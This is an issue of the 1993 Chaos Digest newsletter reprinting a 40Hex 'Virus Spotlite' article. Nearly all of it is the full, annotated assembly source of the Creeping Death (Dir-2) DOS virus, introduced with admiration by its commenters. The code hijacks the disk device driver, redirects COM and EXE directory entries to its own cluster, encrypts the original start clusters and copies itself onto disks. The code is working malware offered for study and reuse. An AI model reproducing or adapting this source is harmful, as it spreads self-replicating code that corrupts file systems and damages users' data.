Chaos Digest              Mercredi 9 Juin 1993        Volume 1 : Numero 51
                            ISSN  1244-4901

       Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
       Archiviste: Yves-Marie Crabbe
       Co-Redacteurs: Arnaud Bigare, Stephane Briere

TABLE DES MATIERES, #1.51 (9 Juin 1993)
File 1--40H VMag Number 6 Volume 2 Issue 2 #00A (reprint)

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----------------------------------------------------------------------

Date: Tue May 11 09:24:40 PDT 1993
From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Number 6 Volume 2 Issue 2 #00A (reprint)


40Hex Number 6 Volume 2 Issue 2                                      File 00A

     Welcome to this issue's VIRUS SPOTLITE, the infamous Creeping
Death(dir2).
This is one of the most impressive viruses out there, and VirusSoft looks to
be
a promising group in the future.  Unfortunately, the source code we obtained
had almost no comments.  Dark Angel commented it as best as he possibly could,
but I think it is safe to say that there may be a few discrepancies.
Nonetheless, it was an excellent job, kudos to DA.  Although I am writing this
header, I had nothing to do with the commenting, so Dark Angel gets all the
credit.

                                                -)GHeap

------------------------------------------------------------------------------
-
; Dark Angel's comments: I spent my entire waking hours looking at this virus.
;                        I love it.  It is my life.  I worship the drive it
;                        infects.  Take a look at it.  Let not my troubles be
;                        in vain.  Why did I do this?  I sacrifice my life for
;                        the benefit of 40Hex.  If you don't read this, I'm
;                        gonna go join [NuKE].

;        Creeping Death  V 1.0
;
;        (C) Copyright 1991 by VirusSoft Corp.

i13org    =    5f8h
i21org    =    5fch

dir_2   segment byte public
        assume  cs:dir_2, ds:dir_2

        org   100h

start:
         mov   sp,600h                        ;Set up the stack pointer
         inc   word ptr counter               ;Generation counter
         xor   cx,cx
         mov   ds,cx                          ;DS points to interrupt table
         lds   ax, ds:[0c1h]                  ;Find interrupt 30h
         add   ax,21h                         ;Change it to Int 21h
         push  ds                             ;Save it on stack for use by
         push  ax                             ;subroutine "jump"
         mov   ah,30h                         ;Get DOS version
         call  jump
         cmp   al,4                           ;DOS 4.X+ : SI = 0
         sbb   si,si                          ;DOS 2/3  : SI = -1
         mov   byte ptr [drive+2],byte ptr -1 ;Initialise last drive to
                                              ;"never accessed"
         mov   bx,60h                         ;Adjust memory in ES to
         mov   ah,4ah                         ;BX paragraphs.
         call  jump

         mov   ah,52h                         ;Get DOS List of Lists
         call  jump                           ;to ES:BX
         push  es:[bx-2]                      ;Save Segment of first MCB
         lds   bx,es:[bx]                     ;DS:BX -> 1st DPB
                                              ; (Drive parameter block)
search:  mov   ax,[bx+si+15h]                 ;Get segment of device driver
         cmp   ax,70h                         ;Is it CONFIG? (I think)
         jne   next                           ;If not, try again
         xchg  ax,cx                          ;Move driver segment to CX
         mov   [bx+si+18h],byte ptr -1        ;Flag block must be rebuilt
         mov   di,[bx+si+13h]                 ;Save offset of device driver
                                              ;Original device driver
                                              ;address in CX:DI
         mov   [bx+si+13h],offset header      ;Replace with our own
         mov   [bx+si+15h],cs                 ; (header)
next:    lds   bx,[bx+si+19h]                 ;Get next device block
         cmp   bx,-1                          ;Is it the last one?
         jne   search                         ;If not, search it
         jcxz  install

         pop   ds                             ;Restore segment of first
         mov   ax,ds                          ;MCB
         add   ax,ds:[3]                      ;Go to next MCB
         inc   ax                             ;AX = segment next MCB
         mov   dx,cs                          ;DX = MCB owning current
         dec   dx                             ;     program
         cmp   ax,dx                          ;Are these the same?
         jne   no_boot                        ;If not, we are not currently
                                              ;in the middle of a reboot
         add   word ptr ds:[3],61h            ;Increase length owned by
                                              ;MCB by 1552 bytes
no_boot: mov   ds,dx                          ;DS = MCB owning current
                                              ;program
         mov   word ptr ds:[1],8              ;Set owner = DOS

         mov   ds,cx                          ;DS = segment of original
                                              ;     device driver
         les   ax,[di+6]                      ;ES = offset int handler
                                              ;AX = offset strategy entry
         mov   word ptr cs:str_block,ax       ;Save entry point
         mov   word ptr cs:int_block,es       ;And int block for use in
                                              ;function _in
         cld                                  ;Scan for the write
         mov   si,1                           ;function in the
scan:    dec   si                             ;original device driver
         lodsw
         cmp   ax,1effh
         jne   scan
         mov   ax,2cah                        ;Wicked un-yar place o'
         cmp   [si+4],ax                      ;doom.
         je    right
         cmp   [si+5],ax
         jne   scan
right:   lodsw
         push  cs
         pop   es
         mov   di,offset modify+1             ;Save address of patch
         stosw                                ;area so it can be changed
         xchg  ax,si                          ;later.
         mov   di,offset i13org               ;This is in the stack, but
         cli                                  ;it is used by "i13pr"
         movsw
         movsw

         mov   dx,0c000h                      ;Scan for hard disk ROM
                                              ;Start search @ segment C000h
fdsk1:   mov   ds,dx                          ;Load up the segment
         xor   si,si                          ;atart at offset 0000h
         lodsw                                ;Scan for the signature
         cmp   ax,0aa55h                      ;Is it the signature?
         jne   fdsk4                          ;If not, change segment
         cbw                                  ;clear AH
         lodsb                                ;load a byte to AL
         mov   cl,9
         sal   ax,cl                          ;Shift left, 0 filled
fdsk2:   cmp   [si],6c7h
         jne   fdsk3
         cmp   word ptr [si+2],4ch
         jne   fdsk3
         push  dx                             ;Save the segment
         push  [si+4]                         ;and offset on stack
         jmp   short death                    ;for use by i13pr

install: int   20h
file:    db    "c:",255,0
fdsk3:   inc   si                             ;Increment search offset
         cmp   si,ax                          ;If we are not too high,
         jb    fdsk2                          ;try again
fdsk4:   inc   dx                             ;Increment search segment
         cmp   dh,0f0h                        ;If we are not in high
         jb    fdsk1                          ;memory, try again

         sub   sp,4                           ;effectively push dummy vars.
death:   push  cs                             ;on stack for use by i13pr
         pop   ds
         mov   bx,ds:[2ch]                    ;Get environment from PSP
         mov   es,bx
         mov   ah,49h                         ;Release it (to save memory)
         call  jump
         xor   ax,ax
         test  bx,bx                          ;Is BX = 0?
         jz    boot                           ;If so, we are booting now
         mov   di,1                           ;and not running a file
seek:    dec   di                             ;Search for end of
         scasw                                ;the environment block
         jne   seek
         lea   si,[di+2]                      ;SI points to filename
         jmp   short exec                     ;(in DOS 3.X+)
                                              ;Execute that file
boot:    mov   es,ds:[16h]                    ;get PSP of parent
         mov   bx,es:[16h]                    ;get PSP of parent
         dec   bx                             ;go to its MCB
         xor   si,si
exec:    push  bx
         mov   bx,offset param                ;Set up parameter block
                                              ;for EXEC function
         mov   [bx+4],cs                      ;segment to command line
         mov   [bx+8],cs                      ;segment to 1st FCB
         mov   [bx+12],cs                     ;segment to 2nd FCB
         pop   ds
         push  cs
         pop   es

         mov   di,offset f_name
         push  di                             ;Save filename offset
         mov   cx,40                          ;Copy the filename to
         rep   movsw                          ;the buffer
         push  cs
         pop   ds

         mov   ah,3dh                         ;Handle open file
         mov   dx,offset file                 ;"c:",0
         call  jump
         pop   dx                             ;DS:DX -> filename

         mov   ax,4b00h                       ;Load and Execute
         call  jump                           ;ES:BX = param block
         mov   ah,4dh                         ;Get errorlevel
         call  jump
         mov   ah,4ch                         ;Terminate

jump:    pushf                                ;Simulate an interrupt 21h
         call  dword ptr cs:[i21org]
         ret


;--------Installation complete

i13pr:   mov   ah,3                           ;Write AL sectors from ES:BX
         jmp   dword ptr cs:[i13org]          ;to track CH, sector CL,
                                              ;head DH, drive DL


main:    push  ax            ; driver
         push  cx            ; strategy block
         push  dx
         push  ds
         push  si
         push  di

         push  es                             ;Move segment of parameter
         pop   ds                             ;block to DS
         mov   al,[bx+2]                      ;[bx+2] holds command code

         cmp   al,4                           ;Input (read)
         je    input
         cmp   al,8                           ;Output (write)
         je    output
         cmp   al,9                           ;Output (write) with verify
         je    output

         call  in_                            ;Call original device
         cmp   al,2                           ;Request build BPB
         jne   ppp                            ;If none of the above, exit
         lds   si,[bx+12h]                    ;DS:SI point to BPB table
         mov   di,offset bpb_buf              ;Replace old pointer with
         mov   es:[bx+12h],di                 ;a pointer to our own
         mov   es:[bx+14h],cs                 ;BPB table
         push  es                             ;Save segment of parameters
         push  cs
         pop   es
         mov   cx,16                          ;Copy the old BPB table to
         rep   movsw                          ;our own
         pop   es                             ;Restore parameter segment
         push  cs
         pop   ds
         mov   al,[di+2-32]                   ;AL = sectors per allocation
         cmp   al,2                           ;     unit.  If less than
         adc   al,0                           ;     2, increment
         cbw                                  ;Extend sign to AH (clear AH)
         cmp   word ptr [di+8-32],0           ;Is total number sectors = 0?
         je    m32                            ;If so, big partition (>32MB)
         sub   [di+8-32],ax                   ;Decrease space of disk by
                                              ;one allocation unit(cluster)
         jmp   short ppp                      ;Exit
m32:     sub   [di+15h-32],ax                 ;Handle large partitions
         sbb   word ptr [di+17h-32],0

ppp:     pop   di
         pop   si
         pop   ds
         pop   dx
         pop   cx
         pop   ax
rts:     retf                                 ;We are outta here!

output:  mov   cx,0ff09h
         call  check                          ;is it a new disk?
         jz    inf_sec                        ;If not, go away
         call  in_                            ;Call original device handler
         jmp   short inf_dsk

inf_sec: jmp   _inf_sec
read:    jmp   _read
read_:   add   sp,16                          ;Restore the stack
         jmp   short ppp                      ;Leave device driver

input:   call  check                          ;Is it a new disk?
         jz    read                           ;If not, leave
inf_dsk: mov   byte ptr [bx+2],4              ;Set command code to READ
         cld
         lea   si,[bx+0eh]                    ;Load from buffer address
         mov   cx,8                           ;Save device driver request
save:    lodsw                                ;on the stack
         push  ax
         loop  save
         mov   word ptr [bx+14h],1            ;Starting sector number = 1
                                              ;(Read 1st FAT)
         call  driver                         ;Read one sector
         jnz   read_                          ;If error, exit
         mov   byte ptr [bx+2],2              ;Otherwise build BPB
         call  in_                            ;Have original driver do the
                                              ;work
         lds   si,[bx+12h]                    ;DS:SI points to BPB table
         mov   ax,[si+6]                      ;Number root directory entries
         add   ax,15                          ;Round up
         mov   cl,4
         shr   ax,cl                          ;Divide by 16 to find sectors
                                              ;of root directory
         mov   di,[si+0bh]                    ;DI = sectors/FAT
         add   di,di                          ;Double for 2 FATs
         stc                                  ;Add one for boot record
         adc   di,ax                          ;Add sector size of root dir
         push  di                             ;to find starting sector of
                                              ;data (and read)
         cwd                                  ;Clear DX
         mov   ax,[si+8]                      ;AX = total sectors
         test  ax,ax                          ;If it is zero, then we have
         jnz   more                           ;an extended partition(>32MB)
         mov   ax,[si+15h]                    ;Load DX:AX with total number
         mov   dx,[si+17h]                    ;of sectors
more:    xor   cx,cx
         sub   ax,di                          ;Calculate FAT entry for last
                                              ;sector of disk
         sbb   dx,cx
         mov   cl,[si+2]                      ;CL = sectors/cluster
         div   cx                             ;AX = cluster #
         cmp   cl,2                           ;If there is more than 1
         sbb   ax,-1                          ;cluster/sector, add one
         push  ax                             ;Save cluster number
         call  convert                        ;AX = sector number to read
                                              ;DX = offset in sector AX
                                              ;     of FAT entry
                                              ;DI = mask for EOF marker
         mov   byte ptr es:[bx+2],4           ;INPUT (read)
         mov   es:[bx+14h],ax                 ;Starting sector = AX
         call  driver                         ;One sector only
again:   lds   si,es:[bx+0eh]                 ;DS:SI = buffer address
         add   si,dx                          ;Go to FAT entry
         sub   dh,cl                          ;Calculate a new encryption
         adc   dx,ax                          ;value
         mov   word ptr cs:gad+1,dx           ;Change the encryption value
         cmp   cl,1                           ;If there is 0 cluster/sector
         je    small_                         ;then jump to "small_"
         mov   ax,[si]                        ;Load AX with offset of FAT
                                              ;entry
         and   ax,di                          ;Mask it with value from
                                              ;"convert" then test to see
                                              ;if the sector is fine
         cmp   ax,0fff7h                      ;16 bit reserved/bad
         je    bad
         cmp   ax,0ff7h                       ;12 bit reserved/bad
         je    bad
         cmp   ax,0ff70h                      ;12 bit reserved/bad
         jne   ok
bad:     pop   ax                             ;Tried to replicate on a bad
         dec   ax                             ;cluster.  Try again on a
         push  ax                             ;lower one.
         call  convert                        ;Find where it is in the FAT
         jmp   short again                    ;and try once more
small_:  not   di                             ;Reverse mask bits
         and   [si],di                        ;Clear other bits
         pop   ax                             ;AX = cluster number
         push  ax
         inc   ax                             ;Need to do 2 consecutive
         push  ax                             ;bytes
         mov   dx,0fh
         test  di,dx
         jz    here
         inc   dx                             ;Multiply by 16
         mul   dx
here:    or    [si],ax                        ;Set cluster to next
         pop   ax                             ;Restore cluster of write
         call  convert                        ;Calculate buffer offset
         mov   si,es:[bx+0eh]                 ;Go to FAT entry (in buffer)
         add   si,dx
         mov   ax,[si]
         and   ax,di
ok:      mov   dx,di                          ;DI = mask from "convert"
         dec   dx
         and   dx,di                          ;Yerg!
         not   di
         and   [si],di
         or    [si],dx                        ;Set [si] to DI

         cmp   ax,dx                          ;Did we change the FAT?
         pop   ax                             ;i.e. Are we already on this
         pop   di                             ;disk?
         mov   word ptr cs:pointer+1,ax       ;Our own starting cluster
         je    _read_                         ;If we didn't infect, then
                                              ;leave the routine.  Oh
                                              ;welp-o.
         mov   dx,[si]
         push  ds
         push  si
         call  write                          ;Update the FAT
         pop   si
         pop   ds
         jnz   _read_                         ;Quit if there's an error
         call  driver
         cmp   [si],dx
         jne   _read_
         dec   ax
         dec   ax
         mul   cx                             ;Multiply by sectors/cluster
                                              ;to find the sector of the
                                              ;write
         add   ax,di
         adc   dx,0
         push  es
         pop   ds
         mov   word ptr [bx+12h],2            ;Byte/sector count
         mov   [bx+14h],ax                    ;Starting sector #
         test  dx,dx
         jz    less
         mov   word ptr [bx+14h],-1           ;Flag extended partition
         mov   [bx+1ah],ax                    ;Handle the sector of the
         mov   [bx+1ch],dx                    ;extended partition
less:    mov   [bx+10h],cs                    ;Transfer address segment
         mov   [bx+0eh],100h                  ;and the offset (duh)
         call  write                          ;Zopy ourselves!
                                              ;(We want to travel)
_read_:  std
         lea   di,[bx+1ch]                    ;Restore device driver header
         mov   cx,8                           ;from the stack
load:    pop   ax
         stosw
         loop  load
_read:   call  in_                            ;Call original device handler

         mov   cx,9
_inf_sec:
         mov   di,es:[bx+12h]                 ;Bytes/Sector
         lds   si,es:[bx+0eh]                 ;DS:SI = pointer to buffer
         sal   di,cl                          ;Multiply by 512
                                              ;DI = byte count
         xor   cl,cl
         add   di,si                          ;Go to address in the buffer
         xor   dl,dl                          ;Flag for an infection in
                                              ;function find
         push  ds
         push  si
         call  find                           ;Infect the directory
         jcxz  no_inf
         call  write                          ;Write it back to the disk
         and   es:[bx+4],byte ptr 07fh        ;Clear error bit in status
                                              ;word
no_inf:  pop   si
         pop   ds
         inc   dx                             ;Flag for a decryption in
                                              ;function find
         call  find                           ;Return right information to
                                              ;calling program
         jmp   ppp

;--------Subroutines

find:    mov   ax,[si+8]                      ;Check filename extension
         cmp   ax,"XE"                        ;in directory structure
         jne   com
         cmp   [si+10],al
         je    found
com:     cmp   ax,"OC"
         jne   go_on
         cmp   byte ptr [si+10],"M"
         jne   go_on
found:   test  [si+1eh],0ffc0h ; >4MB         ;Check file size high word
         jnz   go_on                          ;to see if it is too big
         test  [si+1dh],03ff8h ; <2048B       ;Check file size low word
         jz    go_on                          ;to see if it is too small
         test  [si+0bh],byte ptr 1ch          ;Check attribute for subdir,
         jnz   go_on                          ;volume label or system file
         test  dl,dl                          ;If none of these, check DX
         jnz   rest                           ;If not 0, decrypt
pointer: mov   ax,1234h                       ;mov ax, XX modified elsewhere
         cmp   ax,[si+1ah]                    ;Check for same starting
                                              ;cluster number as us
         je    go_on                          ;If it is, then try another
         xchg  ax,[si+1ah]                    ;Otherwise make it point to
                                              ;us.
gad:     xor   ax,1234h                       ;Encrypt their starting
                                              ;cluster
         mov   [si+14h],ax                    ;And put it in area reserved
                                              ;by DOS for no purpose
         loop  go_on                          ;Try another file
rest:    xor   ax,ax                          ;Disinfect the file
         xchg  ax,[si+14h]                    ;Get starting cluster
         xor   ax,word ptr cs:gad+1           ;Decrypt the starting cluster
         mov   [si+1ah],ax                    ;and put it back
go_on:   db    2eh,0d1h,6                     ;rol cs:[gad+1], 1
         dw    offset gad+1                   ;Change encryption and
         add   si,32                          ;go to next file
         cmp   di,si                          ;If it is not past the end of
         jne   find                           ;the buffer, then try again
         ret                                  ;Otherwise quit

check:   mov   ah,[bx+1]                      ;ah = unit code (block device
                                              ;                only)
drive:   cmp   ah,-1                          ;cmp ah, XX can change.
                                              ;Compare with the last call
                                              ;-1 is just a dummy
                                              ;impossible value that will
                                              ;force the change to be true
         mov   byte ptr cs:[drive+2],ah       ;Save this call's drive
         jne   changed                        ;If not the same as last call
                                              ;media has changed
         push  [bx+0eh]                       ;If it is the same physical
                                              ;drive, see if floppy has
                                              ;been changed
         mov   byte ptr [bx+2],1              ;Tell original driver to do a
         call  in_                            ;media check (block only)
         cmp   byte ptr [bx+0eh],1            ;Returns 1 in [bx+0eh] if
         pop   [bx+0eh]                       ;media has not been changed
         mov   [bx+2],al                      ;Restore command code
changed: ret                                  ;CF,ZF set if media has not
                                              ;been changed, not set if
                                              ;has been changed or we don't
                                              ;know
write:   cmp   byte ptr es:[bx+2],8           ;If we want OUTPUT, go to
         jae   in_                            ;original device handler
                                              ;and return to caller
         mov   byte ptr es:[bx+2],4           ;Otherwise, request INPUT
         mov   si,70h
         mov   ds,si                          ;DS = our segment
modify:  mov   si,1234h                       ;Address is changed elsewhere
         push  [si]
         push  [si+2]
         mov   [si],offset i13pr
         mov   [si+2],cs
         call  in_                            ;Call original device handler
         pop   [si+2]
         pop   [si]
         ret

driver:  mov   word ptr es:[bx+12h],1         ;One sector
in_:                                          ;in_ first calls the strategy
                                              ;of the original device
                                              ;driver and then calls the
                                              ;interrupt handler
         db    09ah                           ;CALL FAR PTR
str_block:
         dw    ?,70h                          ;address
         db    09ah                           ;CALL FAR PTR
int_block:
         dw    ?,70h                          ;address
         test  es:[bx+4],byte ptr 80h         ;Was there an error?
         ret

convert: cmp   ax,0ff0h                       ;0FFF0h if 12 bit FAT
         jae   fat_16                         ;0FF0h = reserved cluster
         mov   si,3                           ;12 bit FAT
         xor   word ptr cs:[si+gad-1],si      ;Change the encryption value
         mul   si                             ;Multiply by 3 and
         shr   ax,1                           ;divide by 2
         mov   di,0fffh                       ;Mark it EOF (low 12 bits)
         jnc   cont                           ;if it is even, continue
         mov   di,0fff0h                      ;otherwise, mark it EOF (high
         jmp   short cont                     ;12 bits) and then continue
fat_16:  mov   si,2                           ;16 bit FAT
         mul   si                             ;Double cluster #
         mov   di,0ffffh                      ;Mark it as end of file
cont:    mov   si,512
         div   si                             ;AX = sector number
                                              ;(relative to start of FAT)
                                              ;DX = offset in sector AX
header:  inc   ax                             ;Increment AX to account for
         ret                                  ;boot record

counter: dw    0

         dw    842h                           ;Attribute
                                              ; Block device
                                              ; DOS 3 OPEN/CLOSE removable
                                              ;       media calls supported
                                              ; Generic IOCTL call supported
                                              ;Supports 32 bit sectors
         dw    offset main                    ;Strategy routine
         dw    offset rts                     ;Interrupt routine (rtf)
         db    7fh                            ;Number of subunits supported
                                              ;by this driver.  Wow, lookit
                                              ;it -- it's so large and juicy

; Parameter block format:
; 0  WORD Segment of environment
; 2 DWORD pointer to command line
; 6 DWORD pointer to 1st default FCB
;10 DWORD pointer to 2nd default FCB
param:   dw    0,80h,?,5ch,?,6ch,?

bpb_buf: db    32 dup(?)
f_name:  db    80 dup(?)

;--------The End.
dir_2   ends
        end     start

MsDos

------------------------------

End of Chaos Digest #1.51
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